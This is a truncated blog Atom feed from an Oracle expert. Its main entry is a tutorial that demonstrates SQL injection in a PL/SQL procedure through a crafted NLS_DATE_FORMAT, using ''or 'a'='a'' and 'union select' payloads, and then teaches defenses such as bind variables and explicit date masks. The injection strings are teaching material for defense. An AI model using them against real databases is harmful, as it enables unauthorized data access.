<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-11839365</id><updated>2012-02-02T17:19:22.307-05:00</updated><title type='text'>The Tom Kyte Blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default?start-index=101&amp;max-results=100'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>668</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-11839365.post-7170583780096674501</id><published>2012-02-02T15:01:00.006-05:00</published><updated>2012-02-02T15:01:46.422-05:00</updated><title type='text'>Big Data...</title><content type='html'>I'll be doing a web seminar on Big Data on February 16th at 10am Pacific Time. &amp;nbsp;Here is the info:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Big Data Essentials: What You Need to Know, February 16th, 10:00 am – 1:30 pm PT&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Big data is big news these days. But you don’t base IT investment decisions on magazine headlines.&lt;br /&gt;&lt;br /&gt;Join us for the Big Data Online Forum to learn the essentials of big data—from the technology underlying it to real-world use cases. Oracle’s Tom Kyte, Cloudera CEO Mike Olson, and other industry thought leaders will be on hand to explain how big data can deliver revolutionary insight and competitive advantage.&lt;br /&gt;&lt;br /&gt;You’ll get answers to tough questions surrounding big data, including:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&amp;nbsp; &amp;nbsp; What business insight can big data uncover?&lt;/li&gt;&lt;li&gt;&amp;nbsp; &amp;nbsp; How do you manage big data?&lt;/li&gt;&lt;li&gt;&amp;nbsp; &amp;nbsp; How do you integrate big data into decision-making?&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Register today for this half-day online event featuring live Q&amp;amp;A with big data experts.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.oracle.com/goto/bigdata"&gt;www.oracle.com/goto/bigdata&lt;/a&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7170583780096674501?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7170583780096674501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7170583780096674501' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7170583780096674501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7170583780096674501'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2012/02/big-data.html' title='Big Data...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-159207665102454160</id><published>2012-02-02T14:33:00.003-05:00</published><updated>2012-02-02T17:05:13.097-05:00</updated><title type='text'>All about Security - SQL Injection</title><content type='html'>I recently did a web seminar on Oracle Database Security (you can see a &lt;a href="http://event.on24.com/r.htm?e=390461&amp;amp;s=1&amp;amp;k=5F30645E675CBF55C8BDED9F3D28AE69&amp;amp;partnerref=blog1_sec_dbsecmulti"&gt;replay of it here&lt;/a&gt;). &amp;nbsp;We had over 1,300 live attendees (glad I couldn't see you all - that would be scary) and the feedback was pretty good.&lt;br /&gt;&lt;br /&gt;We also received a few questions, well, actually - a lot of questions. &amp;nbsp;I'm going to try to tackle them here bit by bit. &amp;nbsp;I'm going to start with my favorite topic - questions centered around SQL Injection. &amp;nbsp;I'll center on the core concepts around SQL Injection in this article and then do a followup article regarding the Oracle Database Firewall - a tool useful for detecting and blocking SQL Injection attacks.&lt;br /&gt;&lt;br /&gt;During the presentation - I talked about how insidious SQL Injection is - and how hard it can be to detect. In fact, I've written about this before, &lt;a href="http://www.oracle.com/technetwork/issue-archive/2005/05-jan/o15asktom-084959.html"&gt;in this article&lt;/a&gt;. &amp;nbsp;The interesting thing about that article on injecting is the very last part of it, the section on "selective system grants". &amp;nbsp;If you read that small section you'll see a comment &lt;i&gt;"Note: Revised contentto prevent SQL injection for this procedure submitted by Roy Jorgensen."&lt;/i&gt;. &amp;nbsp;What that means is - the original article I submitted had a SQL Injection bug in it - right after I just spent pages going over SQL Injection! &amp;nbsp;That wasn't too embarrassing was it (it was). &amp;nbsp;But it does point out how easy it is for a SQL Injection bug to sneak into code - even when the coder knows full well what SQL Injection is and how it happens!&lt;br /&gt;&lt;br /&gt;Anyway, during the web seminar I talked about a slide I use - with a full stored procedure on it - that contains a SQL Injection bug. &amp;nbsp;I ask the audience, usually full of developers and DBAs to tell me how the code can be SQL Injected.. &amp;nbsp;I tell them right out - this code can be injected and if I were to put it in my schema and grant you execute on it - you could use this to read pretty much any table I own.&lt;br /&gt;&lt;br /&gt;I usually hear crickets at this point in time, no hands, no volunteers. &amp;nbsp;Here is the slide:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Z-Dc-vskWFQ/TyrdFricsFI/AAAAAAAAACk/G2PNPz9dWf8/s1600/slide.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="360" src="http://4.bp.blogspot.com/-Z-Dc-vskWFQ/TyrdFricsFI/AAAAAAAAACk/G2PNPz9dWf8/s640/slide.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Note that the input to this procedure is a binary Oracle date - it is fixed length, 7 bytes of data - the century, year, month, day, hour, minute and second. &amp;nbsp; The input is not a string, the input cannot contain things like "or 1=1" - typical SQL Injection attack strings. &amp;nbsp;It can only contain an Oracle date. &amp;nbsp;So - the question is - how can I 'trick' this stored procedure into showing me anything I want to see in the schema that owns the procedure (thus bypassing any and all security the application tier might have put in place - there are no restrictions on what I can and cannot see now).&lt;br /&gt;&lt;br /&gt;Before we get there - let's talk about the bit of code that will be problematic - that is line 10. &amp;nbsp;As noted there is a double implicit conversion going on there. &amp;nbsp;That line of code is really:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Where created = to_date( to_char( p_date ) );&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There is an implicit to_char on the date field in order to concatenate it to the query string. &amp;nbsp;Then, at runtime there is an implicit to_date on the string we concatenated in so we can compare it to a date. &amp;nbsp;This is a very common thing I see in code all of the time (implicit conversions) - but it is pure evil. &amp;nbsp;Not only will we discover it is the cause of a SQL Injection issue - but here it is a logic bomb as well.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First of all - by default - that to_date( to_char() ) conversion will have a side effect of effectively truncating the time component from the date field. &amp;nbsp;That is evil. &amp;nbsp;If you wanted to truncate the time off - please use TRUNC() on the date - it is much faster, more efficient, and expresses clearly that you intend to truncate the time component. &amp;nbsp;To_date(to_char()) does none of that. &amp;nbsp;Secondly - the conversion by default will also lose the century. &amp;nbsp;If you were trying to look for things created during the war of 1812 - you would lose, you cannot search for 1812 - it would become 2012 (well, right now as I write this it would be 2012 - in 38 years it will become 2112 and you won't be able to search for 2012 anymore...).&lt;br /&gt;&lt;br /&gt;Also consider that I said "by default". &amp;nbsp;By default the NLS_DATE_FORMAT is DD-MON-RR (currrently, it has been different in the past!). &amp;nbsp;What happens to this code when someone decides to change it? &amp;nbsp;Your application might well start querying up entirely different data!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So, the implicit conversion by itself is bad - but the real issue is the SQL Injection flaw. &amp;nbsp;If you just run this procedure, by default - it certainly looks OK:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ops$tkyte%ORA11GR2&amp;gt; exec inj( sysdate )&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; select *&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; from all_users&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;where created = '02-FEB-12'&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;that looks OK - seems pretty safe - &lt;i&gt;until&lt;/i&gt;, until someone who has read the documentation comes along. &amp;nbsp;They might run your code like this:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ops$tkyte%ORA11GR2&amp;gt; alter session set&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; 2 &amp;nbsp;nls_date_format = 'dd-mon-yyyy"'' or ''a'' = ''a"';&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Session altered.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ops$tkyte%ORA11GR2&amp;gt; exec inj( sysdate )&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; select *&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; from all_users&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;where created = '02-feb-2012' or 'a' = 'a'&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;A.....&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;EBRAPP.....&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;EBRTBLS.....&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;UTIL.....&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;USER2.....&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now that is surprising, &amp;nbsp;you might not even know you could do that in an NLS_DATE_FORMAT. &amp;nbsp;It is really hard to protect against something you don't even know &lt;i&gt;you can do&lt;/i&gt;&amp;nbsp;- isn't it? &amp;nbsp;I've had people look at that example and scoff at it - saying "so what, they were allowed to see that table". &amp;nbsp;Ok, take it a step further, I'd like to know what tables you own - so I can start querying them. &amp;nbsp;I'll just do this:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ops$tkyte%ORA11GR2&amp;gt; alter session set&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; 2 &amp;nbsp;nls_date_format = '"''union select tname,0,null from tab--"';&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Session altered.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ops$tkyte%ORA11GR2&amp;gt; exec inj( null )&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Select *&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; from all_users&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;where created = ''union select tname,0,null from tab--'&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;....&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now you can see where this is going... &amp;nbsp;I find one SQL Injection bug in one procedure and I've unlocked the entire schema. &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So, the question now comes up - how do I protect myself from this? &amp;nbsp;What can I do to ensure I'm not subject to SQL Injection in this code?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There are two ways - the hard way and the easy way. &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The hard way involves writing code to validate everything and having &lt;i style="font-weight: bold;"&gt;serious&lt;/i&gt;&amp;nbsp;code reviews of any code that uses string concatenation to build their SQL statements - any code that takes a parameter as input and concatenates it to a SQL query must be read and reviewed by many people - many people who will be super critical of the code. &amp;nbsp;In this case, the resulting code would have to be:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'')'; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You need to have a coding standard that says:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;You shall &lt;i&gt;never&lt;/i&gt; use implicit conversions ever, as in never.&lt;/li&gt;&lt;li&gt;You shall &lt;i&gt;always&lt;/i&gt;&amp;nbsp;use an explicit date mask with dates, as in every single time, you will not rely on defaults (because defaults can inject you and because defaults can radically modify your logic unintentionally!)&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;And now you have to comb through all of your code looking for these bad practices (you should anyway - you have major logic bombs just waiting to explode in your code if you rely on default NLS settings and implicit conversions).&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The easy way however is the way to go. &amp;nbsp;The easy way is - just use bind variables! &amp;nbsp;If you use bind variables, you &lt;i style="font-weight: bold;"&gt;cannot be SQL Injected&lt;/i&gt;&amp;nbsp;- this is true for PL/SQL, for Java, for any and all languages. &amp;nbsp;If you use bind variables you &lt;i style="font-weight: bold;"&gt;cannot be SQL Injected - period.&lt;/i&gt;&amp;nbsp; It is that simple, really and truly. &amp;nbsp;If the code was:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; 7 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;l_query := '&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; 8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;select *&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; 9 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;from all_users&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;10 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; where created = :x';&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;11 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;open c for l_query USING P_DATE;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;there is no way the end user can trick that SQL query into becoming anything other than what it is - in fact, for this example, the code should have been:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;as&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;cursor c is select * from all_users where created = p_date;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;begin&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;open c;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;and nothing more - it shouldn't have even been using dynamic SQL. &amp;nbsp;In Java/C#/C++/etc - you would be using dynamic SQL and you should be using bind variables. &amp;nbsp; So, that answered all of these questions I received:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;where can I find an illustration of SQL injection?&lt;/div&gt;&lt;div&gt;•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;can u share the sql injection demo code&lt;/div&gt;&lt;div&gt;•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Can you share that SQL injection slide?&lt;/div&gt;&lt;div&gt;•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Can you show a code example of the SQL injection bug that nobody noticed during your presentations?&lt;/div&gt;&lt;div&gt;•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Can you show us or point us to the site of the example of SQL injection bug?&lt;/div&gt;&lt;div&gt;•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Is SQL injection all about binding, or is there more?&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Another question was:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;should application layer deal with the SQL injection attacks prevention as that layer understands what the proper data access patterns look like rather then database?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;My response to that is - the application layer should definitely be aware of SQL Injection and use secure coding practices which would include:&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;i&gt;always use a bind variable unless you have an excellent technical reason not to - and then you must submit your code for review to at least five people who do not like you - they must be motivated to rip your code apart, critically review it, make fun of it - so they find the bugs.&lt;/i&gt;&lt;/blockquote&gt;&lt;div&gt;However - we need to also employ defense in depth - for when the inevitable bug slips through. &amp;nbsp;When I next write about this - I'll be going over the Oracle Database Firewall - a tool that can provide at least one more layer of defense.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The last question on this topic was:&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;•&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;What is the dbms_assert PL/SQL package? How does it help prevent SQL injection? Should my organization be using it?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For that - I'll just forward you onto an excellent paper on this subject written by Bryn Llewellyn. &amp;nbsp;You can &lt;a href="http://www.oracle.com/technetwork/database/features/plsql/overview/how-to-write-injection-proof-plsql-1-129572.pdf"&gt;find that paper here&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-159207665102454160?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/159207665102454160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=159207665102454160' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/159207665102454160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/159207665102454160'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection.html' title='All about Security - SQL Injection'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-Z-Dc-vskWFQ/TyrdFricsFI/AAAAAAAAACk/G2PNPz9dWf8/s72-c/slide.png' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5294192576353148993</id><published>2012-01-06T16:44:00.002-05:00</published><updated>2012-01-06T16:44:39.468-05:00</updated><title type='text'>Oracle Database Security...</title><content type='html'>&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;Oracle Database Security Best Practices Webcast Series&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;I’ll be kicking off a best practices webcast series this February 1&lt;sup&gt;st&lt;/sup&gt; at 10 AM Pacific. Join me as we discuss &lt;span style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial;"&gt;the threats every IT Database and Security administrator needs to be aware of, as well as best practices for securing your databases. We’ll cover &amp;nbsp;how best to guard against SQL injection attacks, encrypt sensitive data, enforce least privilege and separation of duties, database auditing and masking non-production data.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;;"&gt;Register here&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;a href="http://event.on24.com/r.htm?e=390461&amp;amp;s=1&amp;amp;k=5F30645E675CBF55C8BDED9F3D28AE69&amp;amp;partnerref=blog1_sec_dbsecmulti" target="_blank"&gt;&lt;span style="background: white; color: #000099; font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;http://event.on24.com/r.htm?e=390461&amp;amp;s=1&amp;amp;k=5F30645E675CBF55C8BDED9F3D28AE69&amp;amp;partnerref=blog1_sec_dbsecmulti&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 10.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5294192576353148993?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5294192576353148993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5294192576353148993' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5294192576353148993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5294192576353148993'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2012/01/oracle-database-security.html' title='Oracle Database Security...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 